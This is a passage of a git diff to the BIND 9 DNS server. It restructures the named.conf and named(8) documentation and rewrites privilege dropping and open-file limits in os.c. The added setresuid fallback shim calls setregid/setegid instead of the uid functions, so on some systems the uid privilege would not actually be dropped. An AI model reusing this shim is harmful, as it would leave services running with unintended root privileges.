-  		    ipv6_address | * ) ] port ( integer | * ) ) ) [
-  		    dscp integer ];
-  		request-expire boolean;
-  		request-ixfr boolean;
-  		request-nsid boolean;
-  		send-cookie boolean;
-  		tcp-keepalive boolean;
-  		tcp-only boolean;
-  		transfer-format ( many-answers | one-answer );
-  		transfer-source ( ipv4_address | * ) [ port ( integer |
-  		    * ) ] [ dscp integer ];
-  		transfer-source-v6 ( ipv6_address | * ) [ port (
-  		    integer | * ) ] [ dscp integer ];
-  		transfers integer;
-  	};
-  	servfail-ttl duration;
-  	sig-signing-nodes integer;
-  	sig-signing-signatures integer;
-  	sig-signing-type integer;
-  	sig-validity-interval integer [ integer ];
-  	sortlist { address_match_element; ... };
-  	stale-answer-client-timeout ( disabled | off | integer );
-  	stale-answer-enable boolean;
-  	stale-answer-ttl duration;
-  	stale-cache-enable boolean;
-  	stale-refresh-time duration;
-  	synth-from-dnssec boolean;
-  	transfer-format ( many-answers | one-answer );
-  	transfer-source ( ipv4_address | * ) [ port ( integer | * ) ] [
-  	    dscp integer ];
-  	transfer-source-v6 ( ipv6_address | * ) [ port ( integer | * )
-  	    ] [ dscp integer ];
-  	trust-anchor-telemetry boolean; // experimental
-  	trust-anchors { string ( static-key |
-  	    initial-key | static-ds | initial-ds
-  	    ) integer integer integer
-  	    quoted_string; ... };
-  	trusted-keys { string
-  	    integer integer
-  	    integer
-  	    quoted_string; ... };, deprecated
-  	try-tcp-refresh boolean;
-  	update-check-ksk boolean;
-  	use-alt-transfer-source boolean;
-  	v6-bias integer;
-  	validate-except { string; ... };
-  	zero-no-soa-ttl boolean;
-  	zero-no-soa-ttl-cache boolean;
-  	zone string [ class ] {
-  		allow-notify { address_match_element; ... };
-  		allow-query { address_match_element; ... };
-  		allow-query-on { address_match_element; ... };
-  		allow-transfer { address_match_element; ... };
-  		allow-update { address_match_element; ... };
-  		allow-update-forwarding { address_match_element; ... };
-  		also-notify [ port integer ] [ dscp integer ] { (
-  		    primaries | ipv4_address [ port integer ] |
-  		    ipv6_address [ port integer ] ) [ key string ] [
-  		    tls string ]; ... };
-  		alt-transfer-source ( ipv4_address | * ) [ port (
-  		    integer | * ) ] [ dscp integer ];
-  		alt-transfer-source-v6 ( ipv6_address | * ) [ port (
-  		    integer | * ) ] [ dscp integer ];
-  		auto-dnssec ( allow | maintain | off );
-  		check-dup-records ( fail | warn | ignore );
-  		check-integrity boolean;
-  		check-mx ( fail | warn | ignore );
-  		check-mx-cname ( fail | warn | ignore );
-  		check-names ( fail | warn | ignore );
-  		check-sibling boolean;
-  		check-spf ( warn | ignore );
-  		check-srv-cname ( fail | warn | ignore );
-  		check-wildcard boolean;
-  		database string;
-  		delegation-only boolean;
-  		dialup ( notify | notify-passive | passive | refresh |
-  		    boolean );
-  		dlz string;
-  		dnskey-sig-validity integer;
-  		dnssec-dnskey-kskonly boolean;
-  		dnssec-loadkeys-interval integer;
-  		dnssec-policy string;
-  		dnssec-secure-to-insecure boolean;
-  		dnssec-update-mode ( maintain | no-resign );
-  		file quoted_string;
-  		forward ( first | only );
-  		forwarders [ port integer ] [ dscp integer ] { (
-  		    ipv4_address | ipv6_address ) [ port integer ] [
-  		    dscp integer ]; ... };
-  		in-view string;
-  		inline-signing boolean;
-  		ixfr-from-differences boolean;
-  		journal quoted_string;
-  		key-directory quoted_string;
-  		masterfile-format ( map | raw | text );
-  		masterfile-style ( full | relative );
-  		masters [ port integer ] [ dscp integer ] { (
-  		    primaries | ipv4_address [ port integer ] |
-  		    ipv6_address [ port integer ] ) [ key string ] [
-  		    tls string ]; ... };
-  		max-ixfr-ratio ( unlimited | percentage );
-  		max-journal-size ( default | unlimited | sizeval );
-  		max-records integer;
-  		max-refresh-time integer;
-  		max-retry-time integer;
-  		max-transfer-idle-in integer;
-  		max-transfer-idle-out integer;
-  		max-transfer-time-in integer;
-  		max-transfer-time-out integer;
-  		max-zone-ttl ( unlimited | duration );
-  		min-refresh-time integer;
-  		min-retry-time integer;
-  		multi-master boolean;
-  		notify ( explicit | master-only | primary-only | boolean );
-  		notify-delay integer;
-  		notify-source ( ipv4_address | * ) [ port ( integer | *
-  		    ) ] [ dscp integer ];
-  		notify-source-v6 ( ipv6_address | * ) [ port ( integer
-  		    | * ) ] [ dscp integer ];
-  		notify-to-soa boolean;
-  		primaries [ port integer ] [ dscp integer ] { (
-  		    primaries | ipv4_address [ port integer ] |
-  		    ipv6_address [ port integer ] ) [ key string ] [
-  		    tls string ]; ... };
-  		request-expire boolean;
-  		request-ixfr boolean;
-  		serial-update-method ( date | increment | unixtime );
-  		server-addresses { ( ipv4_address | ipv6_address ); ... };
-  		server-names { string; ... };
-  		sig-signing-nodes integer;
-  		sig-signing-signatures integer;
-  		sig-signing-type integer;
-  		sig-validity-interval integer [ integer ];
-  		transfer-source ( ipv4_address | * ) [ port ( integer |
-  		    * ) ] [ dscp integer ];
-  		transfer-source-v6 ( ipv6_address | * ) [ port (
-  		    integer | * ) ] [ dscp integer ];
-  		try-tcp-refresh boolean;
-  		type ( primary | master | secondary | slave | mirror |
-  		    delegation-only | forward | hint | redirect |
-  		    static-stub | stub );
-  		update-check-ksk boolean;
-  		update-policy ( local | { ( deny | grant ) string (
-  		    6to4-self | external | krb5-self | krb5-selfsub |
-  		    krb5-subdomain | ms-self | ms-selfsub | ms-subdomain |
-  		    name | self | selfsub | selfwild | subdomain | tcp-self
-  		    | wildcard | zonesub ) [ string ] rrtypelist; ... };
-  		use-alt-transfer-source boolean;
-  		zero-no-soa-ttl boolean;
-  		zone-statistics ( full | terse | none | boolean );
-  	};
-  	zone-statistics ( full | terse | none | boolean );
-  };
+Unix style: # to end of line
 
-ZONE
-^^^^
+.. literalinclude:: ../../doc/misc/options
 
-::
+Any of these zone statements can also be set inside the view statement.
 
-  zone string [ class ] {
-  	allow-notify { address_match_element; ... };
-  	allow-query { address_match_element; ... };
-  	allow-query-on { address_match_element; ... };
-  	allow-transfer { address_match_element; ... };
-  	allow-update { address_match_element; ... };
-  	allow-update-forwarding { address_match_element; ... };
-  	also-notify [ port integer ] [ dscp integer ] { ( primaries |
-  	    ipv4_address [ port integer ] | ipv6_address [ port
-  	    integer ] ) [ key string ] [ tls string ]; ... };
-  	alt-transfer-source ( ipv4_address | * ) [ port ( integer | * )
-  	    ] [ dscp integer ];
-  	alt-transfer-source-v6 ( ipv6_address | * ) [ port ( integer |
-  	    * ) ] [ dscp integer ];
-  	auto-dnssec ( allow | maintain | off );
-  	check-dup-records ( fail | warn | ignore );
-  	check-integrity boolean;
-  	check-mx ( fail | warn | ignore );
-  	check-mx-cname ( fail | warn | ignore );
-  	check-names ( fail | warn | ignore );
-  	check-sibling boolean;
-  	check-spf ( warn | ignore );
-  	check-srv-cname ( fail | warn | ignore );
-  	check-wildcard boolean;
-  	database string;
-  	delegation-only boolean;
-  	dialup ( notify | notify-passive | passive | refresh | boolean );
-  	dlz string;
-  	dnskey-sig-validity integer;
-  	dnssec-dnskey-kskonly boolean;
-  	dnssec-loadkeys-interval integer;
-  	dnssec-policy string;
-  	dnssec-secure-to-insecure boolean;
-  	dnssec-update-mode ( maintain | no-resign );
-  	file quoted_string;
-  	forward ( first | only );
-  	forwarders [ port integer ] [ dscp integer ] { ( ipv4_address
-  	    | ipv6_address ) [ port integer ] [ dscp integer ]; ... };
-  	in-view string;
-  	inline-signing boolean;
-  	ixfr-from-differences boolean;
-  	journal quoted_string;
-  	key-directory quoted_string;
-  	masterfile-format ( map | raw | text );
-  	masterfile-style ( full | relative );
-  	masters [ port integer ] [ dscp integer ] { ( primaries |
-  	    ipv4_address [ port integer ] | ipv6_address [ port
-  	    integer ] ) [ key string ] [ tls string ]; ... };
-  	max-ixfr-ratio ( unlimited | percentage );
-  	max-journal-size ( default | unlimited | sizeval );
-  	max-records integer;
-  	max-refresh-time integer;
-  	max-retry-time integer;
-  	max-transfer-idle-in integer;
-  	max-transfer-idle-out integer;
-  	max-transfer-time-in integer;
-  	max-transfer-time-out integer;
-  	max-zone-ttl ( unlimited | duration );
-  	min-refresh-time integer;
-  	min-retry-time integer;
-  	multi-master boolean;
-  	notify ( explicit | master-only | primary-only | boolean );
-  	notify-delay integer;
-  	notify-source ( ipv4_address | * ) [ port ( integer | * ) ] [
-  	    dscp integer ];
-  	notify-source-v6 ( ipv6_address | * ) [ port ( integer | * ) ]
-  	    [ dscp integer ];
-  	notify-to-soa boolean;
-  	primaries [ port integer ] [ dscp integer ] { ( primaries |
-  	    ipv4_address [ port integer ] | ipv6_address [ port
-  	    integer ] ) [ key string ] [ tls string ]; ... };
-  	request-expire boolean;
-  	request-ixfr boolean;
-  	serial-update-method ( date | increment | unixtime );
-  	server-addresses { ( ipv4_address | ipv6_address ); ... };
-  	server-names { string; ... };
-  	sig-signing-nodes integer;
-  	sig-signing-signatures integer;
-  	sig-signing-type integer;
-  	sig-validity-interval integer [ integer ];
-  	transfer-source ( ipv4_address | * ) [ port ( integer | * ) ] [
-  	    dscp integer ];
-  	transfer-source-v6 ( ipv6_address | * ) [ port ( integer | * )
-  	    ] [ dscp integer ];
-  	try-tcp-refresh boolean;
-  	type ( primary | master | secondary | slave | mirror |
-  	    delegation-only | forward | hint | redirect | static-stub |
-  	    stub );
-  	update-check-ksk boolean;
-  	update-policy ( local | { ( deny | grant ) string ( 6to4-self |
-  	    external | krb5-self | krb5-selfsub | krb5-subdomain | ms-self
-  	    | ms-selfsub | ms-subdomain | name | self | selfsub | selfwild
-  	    | subdomain | tcp-self | wildcard | zonesub ) [ string ]
-  	    rrtypelist; ... };
-  	use-alt-transfer-source boolean;
-  	zero-no-soa-ttl boolean;
-  	zone-statistics ( full | terse | none | boolean );
-  };
+.. literalinclude:: ../../doc/misc/primary.zoneopt
+.. literalinclude:: ../../doc/misc/secondary.zoneopt
+.. literalinclude:: ../../doc/misc/mirror.zoneopt
+.. literalinclude:: ../../doc/misc/forward.zoneopt
+.. literalinclude:: ../../doc/misc/hint.zoneopt
+.. literalinclude:: ../../doc/misc/redirect.zoneopt
+.. literalinclude:: ../../doc/misc/static-stub.zoneopt
+.. literalinclude:: ../../doc/misc/stub.zoneopt
+.. literalinclude:: ../../doc/misc/in-view.zoneopt
 
 Files
 ~~~~~
 
-``/etc/named.conf``
+|named_conf|
 
 See Also
 ~~~~~~~~
 
-:manpage:`named(8)`, :manpage:`named-checkconf(8)`, :manpage:`rndc(8)`, :manpage:`rndc-confgen(8)`, :manpage:`tsig-keygen(8)`, BIND 9 Administrator Reference Manual.
+:iscman:`named(8) <named>`, :iscman:`named-checkconf(8) <named-checkconf>`, :iscman:`rndc(8) <rndc>`, :iscman:`rndc-confgen(8) <rndc-confgen>`, :iscman:`tsig-keygen(8) <tsig-keygen>`, BIND 9 Administrator Reference Manual.
 
diff --git a/bin/named/named.rst b/bin/named/named.rst
index 60eb3fb751..698ffcdfd1 100644
--- a/bin/named/named.rst
+++ b/bin/named/named.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: named
+.. program:: named
 .. _man_named:
 
 named - Internet domain name server
@@ -29,86 +21,114 @@ named - Internet domain name server
 Synopsis
 ~~~~~~~~
 
-:program:`named` [ [**-4**] | [**-6**] ] [**-c** config-file] [**-d** debug-level] [**-D** string] [**-E** engine-name] [**-f**] [**-g**] [**-L** logfile] [**-M** option] [**-m** flag] [**-n** #cpus] [**-p** port] [**-s**] [**-S** #max-socks] [**-t** directory] [**-U** #listeners] [**-u** user] [**-v**] [**-V**] [**-X** lock-file] [**-x** cache-file]
+:program:`named` [ [**-4**] | [**-6**] ] [**-c** config-file] [**-C**] [**-d** debug-level] [**-D** string] [**-E** engine-name] [**-f**] [**-g**] [**-L** logfile] [**-M** option] [**-m** flag] [**-n** #cpus] [**-p** port] [**-s**] [**-t** directory] [**-U** #listeners] [**-u** user] [**-v**] [**-V**] [**-X** lock-file]
 
 Description
 ~~~~~~~~~~~
 
-``named`` is a Domain Name System (DNS) server, part of the BIND 9
+:program:`named` is a Domain Name System (DNS) server, part of the BIND 9
 distribution from ISC. For more information on the DNS, see :rfc:`1033`,
 :rfc:`1034`, and :rfc:`1035`.
 
-When invoked without arguments, ``named`` reads the default
-configuration file ``/etc/named.conf``, reads any initial data, and
+When invoked without arguments, :program:`named` reads the default
+configuration file |named_conf|, reads any initial data, and
 listens for queries.
 
 Options
 ~~~~~~~
 
-``-4``
-   This option tells ``named`` to use only IPv4, even if the host machine is capable of IPv6. ``-4`` and
-   ``-6`` are mutually exclusive.
+.. option:: -4
+
+   This option tells :program:`named` to use only IPv4, even if the host machine is capable of IPv6. :option:`-4` and
+   :option:`-6` are mutually exclusive.
+
+.. option:: -6
 
-``-6``
-   This option tells ``named`` to use only IPv6, even if the host machine is capable of IPv4. ``-4`` and
-   ``-6`` are mutually exclusive.
+   This option tells :program:`named` to use only IPv6, even if the host machine is capable of IPv4. :option:`-4` and
+   :option:`-6` are mutually exclusive.
 
-``-c config-file``
-   This option tells ``named`` to use ``config-file`` as its configuration file instead of the default,
-   ``/etc/named.conf``. To ensure that the configuration file
+.. option:: -c config-file
+
+   This option tells :program:`named` to use ``config-file`` as its configuration file instead of the default,
+   |named_conf|. To ensure that the configuration file
    can be reloaded after the server has changed its working directory
    due to to a possible ``directory`` option in the configuration file,
    ``config-file`` should be an absolute pathname.
 
-``-d debug-level``
+.. option:: -C
+
+   This option prints out the default built-in configuration and exits.
+
+   NOTE: This is for debugging purposes only and is not an
+   accurate representation of the actual configuration used by :iscman:`named`
+   at runtime.
+
+.. option:: -d debug-level
+
    This option sets the daemon's debug level to ``debug-level``. Debugging traces from
-   ``named`` become more verbose as the debug level increases.
+   :program:`named` become more verbose as the debug level increases.
 
-``-D string``
-   This option specifies a string that is used to identify a instance of ``named``
+.. option:: -D string
+
+   This option specifies a string that is used to identify a instance of :program:`named`
    in a process listing. The contents of ``string`` are not examined.
 
-``-E engine-name``
+.. option:: -E engine-name
+
    When applicable, this option specifies the hardware to use for cryptographic
    operations, such as a secure key store used for signing.
 
    When BIND 9 is built with OpenSSL, this needs to be set to the OpenSSL
    engine identifier that drives the cryptographic accelerator or
-   hardware service module (usually ``pkcs11``). When BIND is
-   built with native PKCS#11 cryptography (``--enable-native-pkcs11``), it
-   defaults to the path of the PKCS#11 provider library specified via
-   ``--with-pkcs11``.
+   hardware service module (usually ``pkcs11``).
+
+.. option:: -f
 
-``-f``
    This option runs the server in the foreground (i.e., do not daemonize).
 
-``-g``
+.. option:: -F
+
+   This options turns on FIPS (US Federal Information Processing Standards)
+   mode if the underlying crytographic library supports running in FIPS
+   mode.
+
+.. option:: -g
+
    This option runs the server in the foreground and forces all logging to ``stderr``.
 
-``-L logfile``
+.. option:: -L logfile
+
    This option sets the log to the file ``logfile`` by default, instead of the system log.
 
-``-M option``
-   This option sets the default memory context options. If set to ``external``,
-   the internal memory manager is bypassed in favor of
-   system-provided memory allocation functions. If set to ``fill``, blocks
-   of memory are filled with tag values when allocated or freed, to
-   assist debugging of memory problems. ``nofill`` disables this behavior,
-   and is the default unless ``named`` has been compiled with developer
-   options.
+.. option:: -M option
+
+   This option sets the default (comma-separated) memory context
+   options. The possible flags are:
+
+   - ``fill``: fill blocks of memory with tag values when they are
+     allocated or freed, to assist debugging of memory problems; this is
+     the implicit default if :program:`named` has been compiled with
+     ``--enable-developer``.
+
+   - ``nofill``: disable the behavior enabled by ``fill``; this is the
+     implicit default unless :program:`named` has been compiled with
+     ``--enable-developer``.
+
+.. option:: -m flag
 
-``-m flag``
    This option turns on memory usage debugging flags. Possible flags are ``usage``,
    ``trace``, ``record``, ``size``, and ``mctx``. These correspond to the
    ``ISC_MEM_DEBUGXXXX`` flags described in ``<isc/mem.h>``.
 
-``-n #cpus``
+.. option:: -n #cpus
+
    This option creates ``#cpus`` worker threads to take advantage of multiple CPUs. If
-   not specified, ``named`` tries to determine the number of CPUs
+   not specified, :program:`named` tries to determine the number of CPUs
    present and creates one thread per CPU. If it is unable to determine
    the number of CPUs, a single worker thread is created.
 
-``-p value``
+.. option:: -p value
+
    This option specifies the port(s) on which the server will listen
    for queries. If ``value`` is of the form ``<portnum>`` or
    ``dns=<portnum>``, the server will listen for DNS queries on
@@ -119,8 +139,9 @@ Options
    listen for HTTPS queries on ``portnum``; the default is 443.
    If ``value`` is of the form ``http=<portnum>``, the server will
    listen for HTTP queries on ``portnum``; the default is 80.
-   
-``-s``
+
+.. option:: -s
+
    This option writes memory usage statistics to ``stdout`` on exit.
 
 .. note::
@@ -128,83 +149,65 @@ Options
       This option is mainly of interest to BIND 9 developers and may be
       removed or changed in a future release.
 
-``-S #max-socks``
-   This option allows ``named`` to use up to ``#max-socks`` sockets. The default value is
-   21000 on systems built with default configuration options, and 4096
-   on systems built with ``configure --with-tuning=small``.
-
-.. warning::
+.. option:: -t directory
 
-      This option should be unnecessary for the vast majority of users.
-      The use of this option could even be harmful, because the specified
-      value may exceed the limitation of the underlying system API. It
-      is therefore set only when the default configuration causes
-      exhaustion of file descriptors and the operational environment is
-      known to support the specified number of sockets. Note also that
-      the actual maximum number is normally slightly fewer than the
-      specified value, because ``named`` reserves some file descriptors
-      for its internal use.
-
-``-t directory``
-   This option tells ``named`` to chroot to ``directory`` after processing the command-line arguments, but
+   This option tells :program:`named` to chroot to ``directory`` after processing the command-line arguments, but
    before reading the configuration file.
 
 .. warning::
 
-      This option should be used in conjunction with the ``-u`` option,
+      This option should be used in conjunction with the :option:`-u` option,
       as chrooting a process running as root doesn't enhance security on
       most systems; the way ``chroot`` is defined allows a process
       with root privileges to escape a chroot jail.
 
-``-U #listeners``
-   This option tells ``named`` the number of ``#listeners`` worker threads to listen on, for incoming UDP packets on
-   each address. If not specified, ``named`` calculates a default
+.. option:: -U #listeners
+
+   This option tells :program:`named` the number of ``#listeners`` worker threads to listen on, for incoming UDP packets on
+   each address. If not specified, :program:`named` calculates a default
    value based on the number of detected CPUs: 1 for 1 CPU, and the
    number of detected CPUs minus one for machines with more than 1 CPU.
    This cannot be increased to a value higher than the number of CPUs.
-   If ``-n`` has been set to a higher value than the number of detected
-   CPUs, then ``-U`` may be increased as high as that value, but no
+   If :option:`-n` has been set to a higher value than the number of detected
+   CPUs, then :option:`-U` may be increased as high as that value, but no
    higher.
 
-``-u user``
+.. option:: -u user
+
    This option sets the setuid to ``user`` after completing privileged operations, such as
    creating sockets that listen on privileged ports.
 
 .. note::
 
-      On Linux, ``named`` uses the kernel's capability mechanism to drop
+      On Linux, :program:`named` uses the kernel's capability mechanism to drop
       all root privileges except the ability to ``bind`` to a
       privileged port and set process resource limits. Unfortunately,
-      this means that the ``-u`` option only works when ``named`` is run
+      this means that the :option:`-u` option only works when :program:`named` is run
       on kernel 2.2.18 or later, or kernel 2.3.99-pre3 or later, since
       previous kernels did not allow privileges to be retained after
       ``setuid``.
 
-``-v``
+.. option:: -v
+
    This option reports the version number and exits.
 
-``-V``
-   This option reports the version number and build options, and exits.
+.. option:: -V
 
-``-X lock-file``
-   This option acquires a lock on the specified file at runtime; this helps to
-   prevent duplicate ``named`` instances from running simultaneously.
-   Use of this option overrides the ``lock-file`` option in
-   ``named.conf``. If set to ``none``, the lock file check is disabled.
+   This option reports the version number, build options, supported
+   cryptographics algorithms, and exits.
 
-``-x cache-file``
-   This option loads data from ``cache-file`` into the cache of the default view.
+.. option:: -X lock-file
 
-.. warning::
-
-      This option must not be used in normal operations. It is only of interest to BIND 9
-      developers and may be removed or changed in a future release.
+   This option acquires a lock on the specified file at runtime; this helps to
+   prevent duplicate :program:`named` instances from running simultaneously.
+   Use of this option overrides the ``lock-file`` option in
+   :iscman:`named.conf`. If set to ``none``, the lock file check is disabled.
 
 Signals
 ~~~~~~~
 
 In routine operation, signals should not be used to control the
-nameserver; ``rndc`` should be used instead.
+nameserver; :iscman:`rndc` should be used instead.
 
 SIGHUP
    This signal forces a reload of the server.
@@ -217,25 +220,25 @@ The result of sending any other signals to the server is undefined.
 Configuration
 ~~~~~~~~~~~~~
 
-The ``named`` configuration file is too complex to describe in detail
+The :program:`named` configuration file is too complex to describe in detail
 here. A complete description is provided in the BIND 9 Administrator
 Reference Manual.
 
-``named`` inherits the ``umask`` (file creation mode mask) from the
-parent process. If files created by ``named``, such as journal files,
+:program:`named` inherits the ``umask`` (file creation mode mask) from the
+parent process. If files created by :program:`named`, such as journal files,
 need to have custom permissions, the ``umask`` should be set explicitly
-in the script used to start the ``named`` process.
+in the script used to start the :program:`named` process.
 
 Files
 ~~~~~
 
-``/etc/named.conf``
+|named_conf|
    The default configuration file.
 
-``/var/run/named/named.pid``
+|named_pid|
    The default process-id file.
 
 See Also
 ~~~~~~~~
 
-:rfc:`1033`, :rfc:`1034`, :rfc:`1035`, :manpage:`named-checkconf(8)`, :manpage:`named-checkzone(8)`, :manpage:`rndc(8)`, :manpage:`named.conf(5)`, BIND 9 Administrator Reference Manual.
+:rfc:`1033`, :rfc:`1034`, :rfc:`1035`, :iscman:`named-checkconf(8) <named-checkconf>`, :iscman:`named-checkzone(8) <named-checkzone>`, :iscman:`rndc(8) <rndc>`, :iscman:`named.conf(5) <named.conf>`, BIND 9 Administrator Reference Manual.
diff --git a/bin/named/os.c b/bin/named/os.c
index b434ff8e8b..858ccbff3f 100644
--- a/bin/named/os.c
+++ b/bin/named/os.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -12,6 +14,7 @@
 /*! \file */
 #include <stdarg.h>
 #include <stdbool.h>
+#include <sys/resource.h>
 #include <sys/stat.h>
 #include <sys/types.h> /* dev_t FreeBSD 2.1 */
 #ifdef HAVE_UNAME
@@ -34,14 +37,13 @@
 
 #include <isc/buffer.h>
 #include <isc/file.h>
-#include <isc/print.h>
-#include <isc/resource.h>
 #include <isc/result.h>
 #include <isc/strerr.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
 #include <named/globals.h>
+#include <named/log.h>
 #include <named/main.h>
 #include <named/os.h>
 #ifdef HAVE_LIBSCF
@@ -61,7 +63,7 @@ static struct passwd *runas_pw = NULL;
 static bool done_setuid = false;
 static int dfd[2] = { -1, -1 };
 
-#ifdef HAVE_SYS_CAPABILITY_H
+#if HAVE_LIBCAP
 
 static bool non_root = false;
 static bool non_root_caps = false;
@@ -247,7 +249,137 @@ linux_keepcaps(void) {
 	}
 }
 
-#endif /* HAVE_SYS_CAPABILITY_H */
+#endif /* HAVE_LIBCAP */
+
+/*
+ * First define compatibility shims if {set,get}res{uid,gid} are not available
+ */
+
+#if !HAVE_GETRESGID
+static int
+getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid) {
+	*rgid = -1;
+	*egid = getegid();
+	*sgid = -1;
+
+	return (0);
+}
+#endif /* !HAVE_GETRESGID */
+
+#if !HAVE_SETRESGID
+static int
+setresgid(gid_t rgid, gid_t egid, gid_t sgid) {
+	REQUIRE(rgid == (gid_t)-1);
+	REQUIRE(sgid == (gid_t)-1);
+
+#if HAVE_SETREGID
+	return (setregid(rgid, egid));
+#else  /* HAVE_SETREGID */
+	return (setegid(egid));
+#endif /* HAVE_SETREGID */
+}
+#endif /* !HAVE_SETRESGID */
+
+#if !HAVE_GETRESUID
+static int
+getresuid(uid_t *ruid, uid_t *euid, uid_t *suid) {
+	*ruid = -1;
+	*euid = geteuid();
+	*suid = -1;
+
+	return (0);
+}
+#endif /* !HAVE_GETRESUID */
+
+#if !HAVE_SETRESUID
+static int
+setresuid(uid_t ruid, uid_t euid, uid_t suid) {
+	REQUIRE(ruid == (uid_t)-1);
+	REQUIRE(suid == (uid_t)-1);
+
+#if HAVE_SETREGID
+	return (setregid(ruid, euid));
+#else  /* HAVE_SETREGID */
+	return (setegid(euid));
+#endif /* HAVE_SETREGID */
+}
+#endif /* !HAVE_SETRESUID */
+
+static int
+set_effective_gid(gid_t gid) {
+	gid_t oldgid;
+
+	if (getresgid(&(gid_t){ 0 }, &oldgid, &(gid_t){ 0 }) == -1) {
+		return (-1);
+	}
+
+	if (oldgid == gid) {
+		return (0);
+	}
+
+	if (setresgid(-1, gid, -1) == -1) {
+		return (-1);
+	}
+
+	if (getresgid(&(gid_t){ 0 }, &oldgid, &(gid_t){ 0 }) == -1) {
+		return (-1);
+	}
+
+	if (oldgid != gid) {
+		return (-1);
+	}
+
+	return (0);
+}
+
+static int
+set_effective_uid(uid_t uid) {
+	uid_t olduid;
+
+	if (getresuid(&(uid_t){ 0 }, &olduid, &(uid_t){ 0 }) == -1) {
+		return (-1);
+	}
+
+	if (olduid == uid) {
+		return (0);
+	}
+
+	if (setresuid(-1, uid, -1) == -1) {
+		return (-1);
+	}
+
+	if (getresuid(&(uid_t){ 0 }, &olduid, &(uid_t){ 0 }) == -1) {
+		return (-1);
+	}
+
+	if (olduid != uid) {
+		return (-1);
+	}
+
+	/* Success */
+	return (0);
+}
+
+static void
+setperms(uid_t uid, gid_t gid) {
+	char strbuf[ISC_STRERRORSIZE];
+
+	/*
+	 * Drop the gid privilege first, because in some cases the gid privilege
+	 * cannot be dropped after the uid privilege has been dropped.
+	 */
+	if (set_effective_gid(gid) == -1) {
+		strerror_r(errno, strbuf, sizeof(strbuf));
+		named_main_earlywarning("unable to set effective gid to %d: %s",
+					gid, strbuf);
+	}
+
+	if (set_effective_uid(uid) == -1) {
+		strerror_r(errno, strbuf, sizeof(strbuf));
+		named_main_earlywarning("unable to set effective uid to %d: %s",
+					uid, strbuf);
+	}
+}
 
 static void
 setup_syslog(const char *progname) {
@@ -263,9 +395,9 @@ setup_syslog(const char *progname) {
 void
 named_os_init(const char *progname) {
 	setup_syslog(progname);
-#ifdef HAVE_SYS_CAPABILITY_H
+#if HAVE_LIBCAP
 	linux_initialprivs();
-#endif /* ifdef HAVE_SYS_CAPABILITY_H */
+#endif /* HAVE_LIBCAP */
 #ifdef SIGXFSZ
 	signal(SIGXFSZ, SIG_IGN);
 #endif /* ifdef SIGXFSZ */
@@ -458,7 +590,7 @@ named_os_changeuser(void) {
 		named_main_earlyfatal("setuid(): %s", strbuf);
 	}
 
-#if defined(HAVE_SYS_CAPABILITY_H)
+#if HAVE_LIBCAP
 	/*
 	 * Restore the ability of named to drop core after the setuid()
 	 * call has disabled it.
@@ -470,7 +602,7 @@ named_os_changeuser(void) {
 	}
 
 	linux_minprivs();
-#endif /* if defined(HAVE_SYS_CAPABILITY_H) */
+#endif /* HAVE_LIBCAP */
 }
 
 uid_t
@@ -483,30 +615,56 @@ ns_os_uid(void) {
 
 void
 named_os_adjustnofile(void) {
-#if defined(__linux__)
-	isc_result_t result;
-	isc_resourcevalue_t newvalue;
+	int r;
+	struct rlimit rl;
+	rlim_t rlim_old;
+	char strbuf[ISC_STRERRORSIZE];
 
-	/*
-	 * Linux: max number of open files specified by one thread doesn't seem
-	 * to apply to other threads on Linux.
-	 */
-	newvalue = ISC_RESOURCE_UNLIMITED;
+	r = getrlimit(RLIMIT_NOFILE, &rl);
+	if (r != 0) {
+		goto fail;
+	}
+
+	rlim_old = rl.rlim_cur;
+
+	if (rl.rlim_cur == rl.rlim_max) {
+		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+			      NAMED_LOGMODULE_MAIN, ISC_LOG_NOTICE,
+			      "the limit on open files is already at the "
+			      "maximum allowed value: "
+			      "%" PRIu64,
+			      (uint64_t)rl.rlim_max);
+		return;
+	}
 
-	result = isc_resource_setlimit(isc_resource_openfiles, newvalue);
-	if (result != ISC_R_SUCCESS) {
-		named_main_earlywarning("couldn't adjust limit on open files");
+	rl.rlim_cur = rl.rlim_max;
+	r = setrlimit(RLIMIT_NOFILE, &rl);
+	if (r != 0) {
+		goto fail;
 	}
-#endif /* if defined(__linux__) */
+
+	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+		      NAMED_LOGMODULE_MAIN, ISC_LOG_NOTICE,
+		      "adjusted limit on open files from "
+		      "%" PRIu64 " to "
+		      "%" PRIu64,
+		      (uint64_t)rlim_old, (uint64_t)rl.rlim_cur);
+	return;
+
+fail:
+	strerror_r(errno, strbuf, sizeof(strbuf));
+	named_main_earlywarning("adjusting limit on open files failed: %s",
+				strbuf);
+	return;
 }
 
 void
 named_os_minprivs(void) {
-#if defined(HAVE_SYS_CAPABILITY_H)
+#if HAVE_LIBCAP
 	linux_keepcaps();
 	named_os_changeuser();
 	linux_minprivs();
-#endif /* if defined(HAVE_SYS_CAPABILITY_H) */
+#endif /* HAVE_LIBCAP */
 }
 
 static int
